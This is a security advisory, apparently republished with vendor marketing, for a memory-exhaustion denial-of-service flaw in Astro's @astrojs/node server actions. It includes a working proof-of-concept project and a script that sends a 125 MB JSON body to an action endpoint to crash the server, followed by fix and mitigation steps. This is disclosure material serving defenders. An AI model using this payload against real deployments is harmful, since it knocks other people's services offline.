GHSA-jm64-8m5q-4qh8
MEDIUMAstro has memory exhaustion DoS due to missing request body size limit in Server Actions
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@astrojs/nodenpmDescription
Summary
Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.
Details
On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.
Astro's Node adapter (mode: 'standalone') creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.
Action names are discoverable from HTML form attributes on any public page, so no authentication is required.
PoC
<details>Setup
Create a new Astro project with the following files:
package.json:
{
"name": "poc-dos",
"private": true,
"scripts": {
"build": "astro build",
"start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.17.2",
"@astrojs/node": "9.5.3"
}
}
astro.config.mjs:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
src/actions/index.ts:
import { defineAction } from 'astro:actions';
import { z } from 'astro:schema';
export const server = {
echo: defineAction({
input: z.object({ data: z.string() }),
handler: async (input) => ({ received: input.data.length }),
}),
};
src/pages/index.astro:
---
---
<html><body><p>Server running</p></body></html>
crash-test.mjs:
const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });
console.log('Sending 125 MB payload...');
try {
const res = await fetch('http://localhost:4321/_actions/echo', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },
body: payload,
});
console.log('Status:', res.status);
} catch (e) {
console.log('Server crashed:', e.message);
}
Reproduction
npm install && npm run build
# Terminal 1: Start server with 128 MB memory limit
npm run start:128mb
# Terminal 2: Send 125 MB payload
node crash-test.mjs
The server process crashes with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.
Impact
Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @astrojs/node | ≥ 9.0.0&&< 9.5.4 | 9.5.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @astrojs/node. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @astrojs/node to 9.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jm64-8m5q-4qh8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jm64-8m5q-4qh8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jm64-8m5q-4qh8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jm64-8m5q-4qh8 in your dependencies?
O3 detects GHSA-jm64-8m5q-4qh8 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.